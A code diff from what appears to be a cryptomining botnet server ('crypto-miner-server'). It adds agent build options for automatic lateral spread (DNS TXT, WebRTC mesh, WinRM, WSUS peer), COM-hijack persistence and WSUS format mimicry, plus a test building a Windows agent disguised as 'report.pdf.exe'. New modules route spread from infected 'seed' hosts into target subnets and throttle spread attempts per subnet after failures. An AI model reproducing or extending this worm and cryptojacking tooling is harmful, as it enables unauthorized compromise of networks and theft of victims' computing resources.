|
||||
return
|
||||
}
|
||||
req.FleetRole = "seeder"
|
||||
req.SeederMode = true
|
||||
req.MiningDisabled = true
|
||||
req.MinerExecution = "inprocess"
|
||||
req.GPUEnabled = false
|
||||
req.DnsTxtSpread = true
|
||||
req.WebRTCMeshSpread = true
|
||||
req.WinRMSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.AutoSpread = true
|
||||
req.LotlOnionEnabled = true
|
||||
if len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
} else {
|
||||
var filtered []string
|
||||
for _, t := range req.LotlOnionTiers {
|
||||
switch strings.ToLower(strings.TrimSpace(t)) {
|
||||
case "dns_txt", "webrtc_mesh", "do_peer":
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) > 0 {
|
||||
req.LotlOnionTiers = filtered
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if req.ApkMode {
|
||||
return h.buildAPKAgent(ctx, req)
|
||||
}
|
||||
@@ -1245,6 +1289,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: %v,
|
||||
WebRTCMeshSpread: %v,
|
||||
WSUSCachePeerSpread: %v,
|
||||
WSUSFormatMimic: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
@@ -1273,8 +1318,17 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
|
||||
ParentAgentID: %q,
|
||||
SpreadGeneration: %d,
|
||||
SpreadStrain: %q,
|
||||
BakedJoinLane: %q,
|
||||
|
||||
ApkMode: %v,
|
||||
ScoutMode: %v,
|
||||
MiningDisabled: %v,
|
||||
|
||||
FleetRole: %q,
|
||||
SeederMode: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1334,6 +1388,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DnsTxtSpread,
|
||||
req.WebRTCMeshSpread,
|
||||
req.WSUSCachePeerSpread,
|
||||
req.WSUSFormatMimic,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
@@ -1357,11 +1412,28 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
strings.TrimSpace(req.ParentAgentID),
|
||||
req.SpreadGeneration,
|
||||
spreadStrainFromJoinLane(req.JoinLane),
|
||||
strings.TrimSpace(req.JoinLane),
|
||||
req.ApkMode,
|
||||
req.ScoutMode,
|
||||
req.MiningDisabled,
|
||||
normalizeForgeFleetRole(req),
|
||||
req.SeederMode || normalizeForgeFleetRole(req) == "seeder",
|
||||
)
|
||||
}
|
||||
|
||||
func normalizeForgeFleetRole(req *BuildRequest) string {
|
||||
role := strings.ToLower(strings.TrimSpace(req.FleetRole))
|
||||
switch role {
|
||||
case "seeder", "miner", "auto":
|
||||
return role
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -325,6 +326,161 @@ func TestCopyAgentSourceFromWorkspace(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildArtifactTraversalVariants(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "trav-1"
|
||||
if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
cases := []string{"../evil.zip", "..", "foo/../../secret.zip", `..\windows\system32`}
|
||||
for _, name := range cases {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+name, nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
rctx.URLParams.Add("name", name)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec, req)
|
||||
if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("name=%q status=%d want 400 or 404", name, rec.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildArtifactFusionBundleInBuildDir(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "fusion-art"
|
||||
zipName := "report-package.zip"
|
||||
zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
|
||||
if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := []byte("fusion-zip-payload")
|
||||
if err := os.WriteFile(zipPath, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, FileName: "report.pdf.exe", Platform: "windows",
|
||||
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/" + zipName,
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
rctx.URLParams.Add("name", zipName)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != string(content) {
|
||||
t.Fatalf("body mismatch")
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), zipName) {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildArtifactAPK(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "apk-dl-1"
|
||||
apkName := "agent-tablet.apk"
|
||||
apkPath := filepath.Join(dataDir, "builds", buildID, apkName)
|
||||
if err := os.MkdirAll(filepath.Dir(apkPath), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
apkContent := []byte("PK\x03\x04fake-apk")
|
||||
if err := os.WriteFile(apkPath, apkContent, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, FileName: apkName, FilePath: apkPath, Platform: "android", CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
|
||||
// Primary build download route
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuild(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("download status=%d", rec.Code)
|
||||
}
|
||||
if rec.Body.String() != string(apkContent) {
|
||||
t.Fatalf("apk download body mismatch")
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), apkName) {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
|
||||
// Named artifact route (same file in build dir)
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+apkName, nil)
|
||||
rctx2 := chi.NewRouteContext()
|
||||
rctx2.URLParams.Add("id", buildID)
|
||||
rctx2.URLParams.Add("name", apkName)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx2))
|
||||
rec2 := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec2, req2)
|
||||
if rec2.Code != http.StatusOK {
|
||||
t.Fatalf("artifact status=%d", rec2.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteApkConfigJSONFilePermissions(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("Windows umask maps 0644 writes to 0666 — POSIX perm bits checked on Linux CI")
|
||||
}
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{WorkerName: "perm-tab", ServerURL: "http://10.0.0.3:8989", MiningDisabled: true}
|
||||
if err := h.writeApkConfigJSON(req, "perm-build"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(assetsDir, "config.json")
|
||||
info, err := os.Stat(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode().Perm() != 0644 {
|
||||
t.Fatalf("config.json perm=%o want 0644", info.Mode().Perm())
|
||||
}
|
||||
dirInfo, err := os.Stat(assetsDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dirInfo.Mode().Perm()&0777 != 0755 {
|
||||
t.Fatalf("assets dir perm=%o want 0755", dirInfo.Mode().Perm()&0777)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
_, _, err := h.saveUploadedFusionPayload(nil, nil)
|
||||
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
@@ -86,6 +87,70 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeCancelInFlightWalk cancels the request context while the walk is
|
||||
// running (not pre-cancelled) and verifies the handler returns promptly with a
|
||||
// walk error recorded.
|
||||
func TestPathForgeCancelInFlightWalk(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for i := 0; i < 50; i++ {
|
||||
sub := filepath.Join(root, fmt.Sprintf("dir%d", i))
|
||||
if err := os.MkdirAll(sub, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
name := fmt.Sprintf("clip%d.mkv", i)
|
||||
if err := os.WriteFile(filepath.Join(sub, name), []byte("data"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
req = req.WithContext(ctx)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
h.ServeHTTP(rec, req)
|
||||
close(done)
|
||||
}()
|
||||
|
||||
time.Sleep(15 * time.Millisecond)
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("handler did not return after in-flight context cancel")
|
||||
}
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatalf("decode: %v", err)
|
||||
}
|
||||
hasWalkErr := false
|
||||
for _, e := range res.ErrorList {
|
||||
if strings.Contains(e, "walk error") || strings.Contains(e, context.Canceled.Error()) {
|
||||
hasWalkErr = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasWalkErr && res.Total == 50 && res.Placed > 0 {
|
||||
t.Log("walk finished before cancel — acceptable on fast filesystems")
|
||||
} else if !hasWalkErr && res.Total < 50 {
|
||||
t.Logf("partial walk before cancel: total=%d placed=%d", res.Total, res.Placed)
|
||||
} else if !hasWalkErr {
|
||||
t.Errorf("expected walk error or partial progress after cancel; total=%d errors=%d list=%v",
|
||||
res.Total, res.Errors, res.ErrorList)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeContextCancel verifies that cancelling the request context stops
|
||||
// the walk gracefully without hanging or panicking. A pre-cancelled context
|
||||
// causes the walk closure to exit immediately on the first iteration.
|
||||
|
||||
@@ -78,8 +78,8 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "COMHijackPersist") {
|
||||
t.Error("expected COMHijackPersist field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "LinuxLOTLMode") {
|
||||
t.Error("expected LinuxLOTLMode field in generated config")
|
||||
if !strings.Contains(src, "ParentAgentID") {
|
||||
t.Error("expected ParentAgentID field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
129
server/internal/db/subnet_spread_pause.go
Normal file
129
server/internal/db/subnet_spread_pause.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const subnetSpreadFailureThreshold = 5
|
||||
const subnetSpreadPauseDuration = 24 * time.Hour
|
||||
|
||||
// SubnetSpreadPause tracks /24 spread failure counts and temporary pauses.
|
||||
type SubnetSpreadPause struct {
|
||||
Prefix string `json:"prefix"`
|
||||
FailCount int `json:"fail_count"`
|
||||
PausedUntil *time.Time `json:"paused_until,omitempty"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
func (d *Database) ensureSubnetSpreadPauseTable() error {
|
||||
if d == nil {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS subnet_spread_pause (
|
||||
prefix TEXT PRIMARY KEY,
|
||||
fail_count INTEGER NOT NULL DEFAULT 0,
|
||||
paused_until DATETIME,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("subnet_spread_pause migration: %w", err)
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_spread_pause_until ON subnet_spread_pause(paused_until)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
// RecordSubnetSpreadFailure increments failures for a /24 prefix; pauses at threshold.
|
||||
func (d *Database) RecordSubnetSpreadFailure(prefix string) (paused bool, err error) {
|
||||
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
prefix = normalizeSubnetPrefix(prefix)
|
||||
if prefix == "" {
|
||||
return false, fmt.Errorf("subnet prefix required")
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
var failCount int
|
||||
err = d.QueryRow(`SELECT fail_count FROM subnet_spread_pause WHERE prefix = ?`, prefix).Scan(&failCount)
|
||||
if err != nil {
|
||||
_, err = d.Exec(
|
||||
`INSERT INTO subnet_spread_pause (prefix, fail_count, paused_until, updated_at) VALUES (?, 1, NULL, ?)`,
|
||||
prefix, now,
|
||||
)
|
||||
return false, err
|
||||
}
|
||||
failCount++
|
||||
var pausedUntil *time.Time
|
||||
if failCount >= subnetSpreadFailureThreshold {
|
||||
until := now.Add(subnetSpreadPauseDuration)
|
||||
pausedUntil = &until
|
||||
paused = true
|
||||
}
|
||||
if pausedUntil != nil {
|
||||
_, err = d.Exec(
|
||||
`UPDATE subnet_spread_pause SET fail_count = ?, paused_until = ?, updated_at = ? WHERE prefix = ?`,
|
||||
failCount, pausedUntil, now, prefix,
|
||||
)
|
||||
} else {
|
||||
_, err = d.Exec(
|
||||
`UPDATE subnet_spread_pause SET fail_count = ?, updated_at = ? WHERE prefix = ?`,
|
||||
failCount, now, prefix,
|
||||
)
|
||||
}
|
||||
return paused, err
|
||||
}
|
||||
|
||||
// IsSubnetSpreadPaused reports whether spread commands to prefix are blocked.
|
||||
func (d *Database) IsSubnetSpreadPaused(prefix string) (bool, error) {
|
||||
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
prefix = normalizeSubnetPrefix(prefix)
|
||||
if prefix == "" {
|
||||
return false, nil
|
||||
}
|
||||
var pausedUntil *time.Time
|
||||
err := d.QueryRow(`SELECT paused_until FROM subnet_spread_pause WHERE prefix = ?`, prefix).Scan(&pausedUntil)
|
||||
if err != nil {
|
||||
return false, nil
|
||||
}
|
||||
if pausedUntil == nil {
|
||||
return false, nil
|
||||
}
|
||||
until := pausedUntil.UTC()
|
||||
if time.Now().UTC().Before(until) {
|
||||
return true, nil
|
||||
}
|
||||
_, _ = d.Exec(`UPDATE subnet_spread_pause SET paused_until = NULL, updated_at = ? WHERE prefix = ?`, time.Now().UTC(), prefix)
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// GetSubnetSpreadPause returns the pause row for UI / tests.
|
||||
func (d *Database) GetSubnetSpreadPause(prefix string) (*SubnetSpreadPause, error) {
|
||||
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
prefix = normalizeSubnetPrefix(prefix)
|
||||
if prefix == "" {
|
||||
return nil, nil
|
||||
}
|
||||
row := &SubnetSpreadPause{Prefix: prefix}
|
||||
var pausedRaw *time.Time
|
||||
err := d.QueryRow(
|
||||
`SELECT fail_count, paused_until, updated_at FROM subnet_spread_pause WHERE prefix = ?`,
|
||||
prefix,
|
||||
).Scan(&row.FailCount, &pausedRaw, &row.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
row.PausedUntil = pausedRaw
|
||||
return row, nil
|
||||
}
|
||||
|
||||
func normalizeSubnetPrefix(prefix string) string {
|
||||
prefix = strings.TrimSpace(prefix)
|
||||
prefix = strings.TrimSuffix(prefix, ".0/24")
|
||||
prefix = strings.TrimSuffix(prefix, "/24")
|
||||
return prefix
|
||||
}
|
||||
64
server/internal/db/subnet_spread_pause_test.go
Normal file
64
server/internal/db/subnet_spread_pause_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package db
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestRecordSubnetSpreadFailurePausesAtFive(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
prefix := "10.0.0"
|
||||
for i := 0; i < 4; i++ {
|
||||
paused, err := d.RecordSubnetSpreadFailure(prefix)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if paused {
|
||||
t.Fatalf("unexpected pause at failure %d", i+1)
|
||||
}
|
||||
}
|
||||
paused, err := d.RecordSubnetSpreadFailure(prefix)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !paused {
|
||||
t.Fatal("expected pause on 5th failure")
|
||||
}
|
||||
ok, err := d.IsSubnetSpreadPaused(prefix)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("paused=%v err=%v", ok, err)
|
||||
}
|
||||
row, err := d.GetSubnetSpreadPause(prefix)
|
||||
if err != nil || row == nil || row.FailCount != 5 || row.PausedUntil == nil {
|
||||
t.Fatalf("row=%+v err=%v", row, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSubnetSpreadPauseExpires(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
prefix := "192.168.1"
|
||||
for i := 0; i < 5; i++ {
|
||||
_, _ = d.RecordSubnetSpreadFailure(prefix)
|
||||
}
|
||||
_, err = d.Exec(
|
||||
`UPDATE subnet_spread_pause SET paused_until = datetime('now', '-1 hour') WHERE prefix = ?`,
|
||||
prefix,
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ok, err := d.IsSubnetSpreadPaused(prefix)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ok {
|
||||
t.Fatal("expected expired pause to clear")
|
||||
}
|
||||
}
|
||||
467
server/internal/spreadrouter/router.go
Normal file
467
server/internal/spreadrouter/router.go
Normal file
@@ -0,0 +1,467 @@
|
||||
// Package spreadrouter computes BGP-style spread routes from Path Tracer sessions,
|
||||
// agent clearance, lane success history, and latency.
|
||||
package spreadrouter
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
// SpreadMinClearance is the minimum clearance required for spread actions (L2).
|
||||
const SpreadMinClearance = clearance.L2
|
||||
|
||||
// HopSnapshot is one agent hop in an active Path Tracer session.
|
||||
type HopSnapshot struct {
|
||||
AgentID string
|
||||
AgentName string
|
||||
Subnet string
|
||||
SessionID string
|
||||
HopIndex int
|
||||
Connected bool
|
||||
}
|
||||
|
||||
// SubnetDiscovery links a discovering hop to hosts on a target subnet.
|
||||
type SubnetDiscovery struct {
|
||||
Subnet string
|
||||
AgentID string
|
||||
Hosts []string
|
||||
}
|
||||
|
||||
// SessionSnapshot is routable state from one Path Tracer session.
|
||||
type SessionSnapshot struct {
|
||||
SessionID string
|
||||
Hops []HopSnapshot
|
||||
Discoveries []SubnetDiscovery
|
||||
}
|
||||
|
||||
// FleetAgentSnapshot is a connected fleet agent used for routing.
|
||||
type FleetAgentSnapshot struct {
|
||||
AgentID string
|
||||
AgentName string
|
||||
Subnet string
|
||||
Clearance int
|
||||
LatencyMs int
|
||||
JoinLane string
|
||||
Connected bool
|
||||
}
|
||||
|
||||
// LaneSuccessStat is historical join-lane success on a subnet.
|
||||
type LaneSuccessStat struct {
|
||||
Subnet string
|
||||
JoinLane string
|
||||
Success int
|
||||
}
|
||||
|
||||
// Input feeds the route table builder.
|
||||
type Input struct {
|
||||
Sessions []SessionSnapshot
|
||||
FleetAgents []FleetAgentSnapshot
|
||||
LaneSuccess []LaneSuccessStat
|
||||
TargetSubnets []string
|
||||
RequestedLane string
|
||||
}
|
||||
|
||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||
type RouteEdge struct {
|
||||
FromAgentID string `json:"from_agent_id"`
|
||||
FromAgentName string `json:"from_agent_name,omitempty"`
|
||||
ToSubnet string `json:"to_subnet"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
HopIndex int `json:"hop_index,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Clearance int `json:"clearance_level"`
|
||||
LaneSuccess float64 `json:"lane_success_rate"`
|
||||
LatencyMs int `json:"latency_ms,omitempty"`
|
||||
Weight float64 `json:"weight"`
|
||||
}
|
||||
|
||||
// RouteRecommendation is the best seed hop for one target subnet.
|
||||
type RouteRecommendation struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
Score float64 `json:"score"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
// RouteTable holds weighted edges and recommendations.
|
||||
type RouteTable struct {
|
||||
Edges []RouteEdge
|
||||
Routes []RouteRecommendation
|
||||
bySubnet map[string]RouteRecommendation
|
||||
}
|
||||
|
||||
const (
|
||||
weightClearance = 0.35
|
||||
weightLane = 0.40
|
||||
weightLatency = 0.25
|
||||
)
|
||||
|
||||
type candidate struct {
|
||||
agentID string
|
||||
agentName string
|
||||
subnet string
|
||||
sessionID string
|
||||
hopIndex int
|
||||
clearance int
|
||||
latencyMs int
|
||||
joinLane string
|
||||
laneRate float64
|
||||
discovered bool
|
||||
}
|
||||
|
||||
// Build constructs a route table from Path Tracer sessions and fleet telemetry.
|
||||
func Build(in Input) *RouteTable {
|
||||
rt := &RouteTable{bySubnet: make(map[string]RouteRecommendation)}
|
||||
laneRates := laneSuccessRates(in.LaneSuccess, in.RequestedLane)
|
||||
fleetByID := make(map[string]FleetAgentSnapshot, len(in.FleetAgents))
|
||||
for _, ag := range in.FleetAgents {
|
||||
fleetByID[ag.AgentID] = ag
|
||||
}
|
||||
|
||||
targets := normalizeTargets(in)
|
||||
for _, target := range targets {
|
||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
|
||||
if rec.SeedAgentID != "" {
|
||||
rt.Routes = append(rt.Routes, rec)
|
||||
rt.bySubnet[target] = rec
|
||||
}
|
||||
rt.Edges = append(rt.Edges, edges...)
|
||||
}
|
||||
return rt
|
||||
}
|
||||
|
||||
// Recommend returns the best route for a target subnet.
|
||||
func (rt *RouteTable) Recommend(targetSubnet string) (RouteRecommendation, bool) {
|
||||
if rt == nil {
|
||||
return RouteRecommendation{}, false
|
||||
}
|
||||
targetSubnet = NormalizeSubnet(targetSubnet)
|
||||
rec, ok := rt.bySubnet[targetSubnet]
|
||||
return rec, ok
|
||||
}
|
||||
|
||||
// ToHint converts a recommendation into a deploy-plan hint.
|
||||
func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
||||
if rec.SeedAgentID == "" {
|
||||
return nil
|
||||
}
|
||||
return &SpreadRouteHint{
|
||||
TargetSubnet: rec.TargetSubnet,
|
||||
SeedAgentID: rec.SeedAgentID,
|
||||
SeedAgentName: rec.SeedAgentName,
|
||||
EgressAgentID: rec.EgressAgentID,
|
||||
EgressHopIndex: rec.EgressHopIndex,
|
||||
SessionID: rec.SessionID,
|
||||
JoinLane: rec.JoinLane,
|
||||
Score: rec.Score,
|
||||
ClearanceLevel: rec.ClearanceLevel,
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeTargets(in Input) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
add := func(s string) {
|
||||
s = NormalizeSubnet(s)
|
||||
if s == "" || seen[s] {
|
||||
return
|
||||
}
|
||||
seen[s] = true
|
||||
out = append(out, s)
|
||||
}
|
||||
for _, t := range in.TargetSubnets {
|
||||
add(t)
|
||||
}
|
||||
for _, sess := range in.Sessions {
|
||||
for _, d := range sess.Discoveries {
|
||||
add(d.Subnet)
|
||||
}
|
||||
}
|
||||
for _, ag := range in.FleetAgents {
|
||||
add(ag.Subnet)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnapshot, laneRates map[string]float64) []candidate {
|
||||
seen := make(map[string]bool)
|
||||
var out []candidate
|
||||
|
||||
add := func(c candidate) {
|
||||
if c.agentID == "" {
|
||||
return
|
||||
}
|
||||
if ag, ok := fleet[c.agentID]; ok {
|
||||
if c.clearance == 0 {
|
||||
c.clearance = ag.Clearance
|
||||
}
|
||||
if c.latencyMs == 0 {
|
||||
c.latencyMs = ag.LatencyMs
|
||||
}
|
||||
if c.joinLane == "" {
|
||||
c.joinLane = ag.JoinLane
|
||||
}
|
||||
if c.agentName == "" {
|
||||
c.agentName = ag.AgentName
|
||||
}
|
||||
if !ag.Connected {
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.clearance < SpreadMinClearance {
|
||||
return
|
||||
}
|
||||
